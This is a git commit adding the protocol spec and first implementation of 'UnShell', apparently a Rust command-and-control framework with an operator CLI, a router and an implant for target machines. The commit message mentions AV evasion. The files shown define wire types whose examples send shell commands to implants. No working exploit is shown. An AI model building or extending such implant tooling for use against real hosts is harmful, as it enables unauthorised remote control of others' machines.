feat: complete protocol spec and initial implementation

- Write PROTOCOL.md with full wire format spec and 8 real-world scenario
  analyses (reconnect, multi-operator, large files, AV evasion, router crash,
  malformed packets, future pivoting)

- Rewrite workspace structure:
  - unshell lib: protocol types (PacketHeader, TreeRequest/Response,
    HandshakeMessage/Ack), Transport trait, TcpTransport, Tree routing
  - ush-router: router binary with per-node threads, NodeRegistry with
    longest-prefix path matching, packet relay
  - ush-payload: implant binary with reconnect loop, module tree, InfoModule
  - ush-cli: operator REPL with rustyline, session management, command parser

- Protocol design: two-part rkyv frame [header][payload]; router reads only
  header for routing, payload bytes forwarded opaque

- All code documented with doc comments and examples
- Zero warnings, zero errors across entire workspace
- 32 tests pass (unit tests for tree routing, TCP transport, framing,
  command parsing, node registry)
This commit is contained in:
Michael Mikovsky
2026-04-20 23:38:02 -06:00
parent 959ea469a8
commit fcb3b2be17
30 changed files with 4623 additions and 658 deletions
+59
View File
@@ -0,0 +1,59 @@
//! # Content Type Constants
//!
//! Content types describe how to interpret the `data` field of a
//! [`TreeRequest`](super::TreeRequest) or [`TreeResponse`](super::TreeResponse).
//!
//! They follow a `"namespace/TypeName"` convention, similar to MIME types.
//!
//! ## Built-in types
//!
//! | Constant | Value | Meaning |
//! |---|---|---|
//! | [`NONE`] | `"core/None"` | No data (empty payload) |
//! | [`UTF8_STRING`] | `"core/Utf8String"` | Raw UTF-8 string |
//! | [`BYTES`] | `"core/Bytes"` | Raw bytes (no specific interpretation) |
//! | [`PROCEDURE_LIST`] | `"core/ProcedureList"` | rkyv-serialised `Vec<ProcedureDescriptor>` |
//!
//! ## Custom types
//!
//! Module authors should prefix with their module name:
//!
//! ```rust
//! const MY_TYPE: &str = "mymodule/MyType";
//! ```
/// No data. Use for requests/responses that carry no payload.
///
/// # Example
///
/// ```rust
/// use unshell::protocol::{TreeRequest, RequestType, content};
///
/// // A ping-style read with no payload
/// let req = TreeRequest {
/// request_id: 1,
/// request_type: RequestType::Read,
/// content_type: content::NONE.into(),
/// data: Vec::new(),
/// };
/// ```
pub const NONE: &str = "core/None";
/// A raw UTF-8 string.
///
/// The `data` field contains the string's bytes (no null terminator, no length prefix).
pub const UTF8_STRING: &str = "core/Utf8String";
/// Raw bytes with no specific interpretation.
pub const BYTES: &str = "core/Bytes";
/// A rkyv-serialised `Vec<ProcedureDescriptor>`.
///
/// Used in responses to [`RequestType::GetProcedures`](super::RequestType::GetProcedures).
pub const PROCEDURE_LIST: &str = "core/ProcedureList";
/// Shell command output: UTF-8 stdout and stderr combined.
pub const SHELL_OUTPUT: &str = "shell/Output";
/// Raw file contents as bytes.
pub const FILE_BYTES: &str = "files/Bytes";
+40
View File
@@ -0,0 +1,40 @@
//! # Protocol Module
//!
//! All wire types used by the UnShell protocol.
//!
//! ## Module layout
//!
//! ```text
//! protocol/
//! mod.rs ← you are here; re-exports everything
//! types.rs ← PacketHeader, TreeRequest, TreeResponse, Handshake*
//! content.rs ← content-type string constants
//! ```
//!
//! ## Quick start
//!
//! ```rust
//! use unshell::protocol::{
//! PacketHeader, PacketType,
//! TreeRequest, RequestType,
//! content,
//! };
//!
//! let header = PacketHeader {
//! dst_path: "/agents/abc123/shell/exec".into(),
//! src_path: "/operator/sess1".into(),
//! packet_type: PacketType::Request,
//! };
//!
//! let request = TreeRequest {
//! request_id: 1,
//! request_type: RequestType::CallProcedure,
//! content_type: content::UTF8_STRING.into(),
//! data: b"ls -la".to_vec(),
//! };
//! ```
pub mod content;
mod types;
pub use types::*;
+314
View File
@@ -0,0 +1,314 @@
//! # Protocol Wire Types
//!
//! All structs and enums that appear on the wire.
//!
//! ## Serialisation
//!
//! Every type here derives rkyv's `Archive`, `Serialize`, and `Deserialize`.
//! This means they can be serialised to a byte slice and deserialised back
//! with zero copying — the deserialised view (`Archived<T>`) reads directly
//! from the byte slice without allocating.
//!
//! ## Wire Frame Format
//!
//! Every packet on the wire uses a two-part frame:
//!
//! ```text
//! ┌──────────────────────────────────────────────────────────────────────┐
//! │ Part 1: Header │ Part 2: Payload │
//! │ [u32 big-endian length] │ [u32 big-endian length] │
//! │ [rkyv-serialised PacketHeader bytes] │ [rkyv payload bytes] │
//! └──────────────────────────────────────────┴───────────────────────────┘
//! ```
//!
//! The router reads only Part 1 to determine where to route the packet.
//! Part 2 is forwarded opaque (the router does not deserialise it).
use alloc::string::String;
use alloc::vec::Vec;
use rkyv::{Archive, Deserialize, Serialize};
// ---------------------------------------------------------------------------
// PacketHeader
// ---------------------------------------------------------------------------
/// The header prefixed to every packet on the wire.
///
/// The router reads ONLY this field to determine routing.
/// The payload body is opaque to the router.
///
/// # Example
///
/// ```rust
/// use unshell::protocol::{PacketHeader, PacketType};
///
/// let header = PacketHeader {
/// dst_path: "/agents/abc123/shell/exec".into(),
/// src_path: "/operator/sess1".into(),
/// packet_type: PacketType::Request,
/// };
/// ```
#[derive(Archive, Serialize, Deserialize, Debug, Clone)]
#[rkyv(derive(Debug))]
pub struct PacketHeader {
/// Destination path in the global tree.
///
/// The router does a longest-prefix match against registered node paths.
/// Example: `"/agents/abc123/shell/exec"`.
pub dst_path: String,
/// Source path of the sending node.
///
/// Used by the destination to route the response back.
/// Example: `"/operator/sess1"`.
pub src_path: String,
/// Discriminates between handshake messages and protocol messages.
pub packet_type: PacketType,
}
/// Discriminates the payload type.
///
/// The receiver uses this to know which type to deserialise the payload as.
#[derive(Archive, Serialize, Deserialize, Debug, Clone, PartialEq, Eq)]
#[rkyv(derive(Debug, PartialEq))]
pub enum PacketType {
/// Sent by a newly-connected node to register with the router.
Handshake,
/// Sent by the router acknowledging (or rejecting) a handshake.
HandshakeAck,
/// An application-level request (the primary protocol message).
Request,
/// An application-level response.
Response,
}
// ---------------------------------------------------------------------------
// Handshake
// ---------------------------------------------------------------------------
/// Sent by a node immediately after connecting to the router.
///
/// The router reads this to register the node in its routing table.
///
/// # Wire format
///
/// This struct is the payload part of a frame whose header has
/// `packet_type = PacketType::Handshake`. The `dst_path` in the header is
/// `"/router"` (the router's own registration endpoint).
///
/// # Example
///
/// ```rust
/// use unshell::protocol::{HandshakeMessage, NodeType};
///
/// let msg = HandshakeMessage {
/// node_id: "abc123".into(),
/// node_type: NodeType::Payload,
/// registered_paths: vec!["/agents/abc123".into()],
/// platform: "linux-x86_64".into(),
/// };
/// ```
#[derive(Archive, Serialize, Deserialize, Debug, Clone)]
#[rkyv(derive(Debug))]
pub struct HandshakeMessage {
/// Node identifier.
///
/// For payloads: a base62 string baked at compile time.
/// For operator sessions: a random string generated on startup.
pub node_id: String,
/// Whether this node is a payload or an operator shell.
pub node_type: NodeType,
/// The path prefixes this node claims ownership of.
///
/// All sub-paths under these prefixes are owned by this node.
/// The router uses these for longest-prefix route matching.
///
/// Example: `["/agents/abc123"]`
pub registered_paths: Vec<String>,
/// Human-readable platform identifier for operator visibility.
///
/// Example: `"linux-x86_64"`, `"windows-x86_64"`, `"operator"`.
pub platform: String,
}
/// Sent by the router in response to a `HandshakeMessage`.
///
/// # Example
///
/// ```rust
/// use unshell::protocol::HandshakeAck;
///
/// // Successful registration
/// let ack = HandshakeAck {
/// accepted: true,
/// assigned_base_path: "/agents/abc123".into(),
/// rejection_reason: None,
/// };
///
/// // Rejection (duplicate node ID)
/// let nack = HandshakeAck {
/// accepted: false,
/// assigned_base_path: String::new(),
/// rejection_reason: Some("duplicate_node_id".into()),
/// };
/// ```
#[derive(Archive, Serialize, Deserialize, Debug, Clone)]
#[rkyv(derive(Debug))]
pub struct HandshakeAck {
/// Whether the router accepted the registration.
pub accepted: bool,
/// The canonical base path assigned by the router.
///
/// Typically matches the first entry in `HandshakeMessage::registered_paths`.
/// Empty string if `accepted == false`.
pub assigned_base_path: String,
/// Human-readable rejection reason when `accepted == false`.
///
/// Known values: `"duplicate_node_id"`, `"invalid_path"`.
pub rejection_reason: Option<String>,
}
/// The type of node connecting to the router.
///
/// The `Router` variant is reserved for future multi-hop/pivoting support
/// and is not used in v1.
#[derive(Archive, Serialize, Deserialize, Debug, Clone, PartialEq, Eq)]
#[rkyv(derive(Debug, PartialEq))]
pub enum NodeType {
/// An implant running on a target machine.
Payload,
/// An operator's interactive shell session.
Operator,
// Router variant will be added when multi-hop/pivoting is implemented.
// Router,
}
// ---------------------------------------------------------------------------
// TreeRequest / TreeResponse
// ---------------------------------------------------------------------------
/// An application-level request sent from an operator to a payload module.
///
/// The request travels: operator → router → destination node.
///
/// # Example
///
/// ```rust
/// use unshell::protocol::{TreeRequest, RequestType, content};
///
/// // Ask a shell module to execute a command
/// let req = TreeRequest {
/// request_id: 42,
/// request_type: RequestType::CallProcedure,
/// content_type: content::UTF8_STRING.into(),
/// data: b"ls -la /tmp".to_vec(),
/// };
/// ```
#[derive(Archive, Serialize, Deserialize, Debug, Clone)]
#[rkyv(derive(Debug))]
pub struct TreeRequest {
/// Unique request ID generated by the sender.
///
/// The responder echoes this back in [`TreeResponse::request_id`].
/// This allows the sender to match responses to outstanding requests,
/// which matters when multiple requests are in-flight concurrently
/// (e.g., background sessions in the operator CLI).
pub request_id: u64,
/// The operation type.
pub request_type: RequestType,
/// Content-type describing how to interpret [`data`](Self::data).
///
/// Use the constants in [`content`](super::content) for the built-in types.
/// Custom module types should use the module name as namespace:
/// `"mymodule/MyType"`.
pub content_type: String,
/// Operation payload. Interpretation depends on `content_type`.
pub data: Vec<u8>,
}
/// The type of operation being requested.
#[derive(Archive, Serialize, Deserialize, Debug, Clone, PartialEq, Eq)]
#[rkyv(derive(Debug, PartialEq))]
pub enum RequestType {
/// Read a value at the target path.
Read = 0,
/// List available sub-paths and callable procedures at the target path.
GetProcedures = 1,
/// Write a value to the target path.
Write = 2,
/// Invoke a named procedure at the target path.
CallProcedure = 3,
}
/// An application-level response from a payload module back to the operator.
///
/// The response travels: payload → router → requesting operator.
///
/// # Example
///
/// ```rust
/// use unshell::protocol::{TreeResponse, ResponseStatus, content};
///
/// let resp = TreeResponse {
/// request_id: 42, // echoed from the corresponding TreeRequest
/// status: ResponseStatus::Ok,
/// content_type: content::UTF8_STRING.into(),
/// data: b"file1.txt\nfile2.txt\n".to_vec(),
/// };
/// ```
#[derive(Archive, Serialize, Deserialize, Debug, Clone)]
#[rkyv(derive(Debug))]
pub struct TreeResponse {
/// Echoed from the corresponding [`TreeRequest::request_id`].
pub request_id: u64,
/// Whether the operation succeeded.
pub status: ResponseStatus,
/// Content-type of the response data.
pub content_type: String,
/// Response payload. Empty if `status` is an error variant.
pub data: Vec<u8>,
}
/// Indicates the outcome of a [`TreeRequest`].
#[derive(Archive, Serialize, Deserialize, Debug, Clone, PartialEq, Eq)]
#[rkyv(derive(Debug, PartialEq))]
pub enum ResponseStatus {
/// The operation completed successfully.
Ok = 0,
/// The requested path does not exist at the destination node.
NoBranchError = 1,
/// The requested operation is not supported at this path.
UnsupportedOperation = 2,
/// The destination node encountered an internal error.
ExecutionError = 3,
/// The request payload was malformed or could not be deserialised.
ProtocolError = 4,
}
/// A descriptor for a callable procedure, returned by [`RequestType::GetProcedures`].
///
/// This is what fills the `data` field of a `TreeResponse` when the
/// request type is `GetProcedures` and `content_type` is `content::PROCEDURE_LIST`.
#[derive(Archive, Serialize, Deserialize, Debug, Clone)]
#[rkyv(derive(Debug))]
pub struct ProcedureDescriptor {
/// The name of the procedure (the path component after the module path).
///
/// Example: `"exec"` for the module at `/agents/abc123/shell/exec`.
pub name: String,
/// Human-readable description of what this procedure does.
pub description: String,
}